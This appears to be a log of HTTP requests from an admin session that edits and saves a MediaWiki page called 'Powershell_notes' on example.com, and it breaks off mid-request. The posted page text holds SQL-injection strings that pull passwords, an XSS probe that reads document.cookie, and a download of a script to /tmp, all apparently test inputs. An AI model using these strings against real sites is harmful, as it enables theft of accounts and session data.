{"method": "GET", "target": "/index.php?title=Special:ListUsers&username=python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.ooui.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.pager.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Special:ListUsers&username=python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=py&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/rest.php/v1/search/title?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1674", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 325", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3221", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarym3pr54KEguOYT8hc", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundarym3pr54KEguOYT8hc\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarym3pr54KEguOYT8hc--\r\n"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1728", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Powershell_notes&section=&sectiontitle=&summary=Notes+on+powershell%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=43ccd11d95d1eb813bd7b837a5b1bdda6af2267a%2B%5C"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3329", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryqXuC7xQ5YbyOLcNk", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryqXuC7xQ5YbyOLcNk--\r\n"}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3323", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydozHAh3HgQYOsBJB", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794254455%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200058\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on powershell, python3, ls -la and .htaccess\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n43ccd11d95d1eb813bd7b837a5b1bdda6af2267a+\\\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundarydozHAh3HgQYOsBJB--\r\n"}
{"method": "GET", "target": "/wiki/Powershell_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision8=created; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=history", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=edit&section=1", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 292", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Powershell_notes&action=edit&section=1", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794254458%23153252fac0b4fff55405e90957449430"], "body": 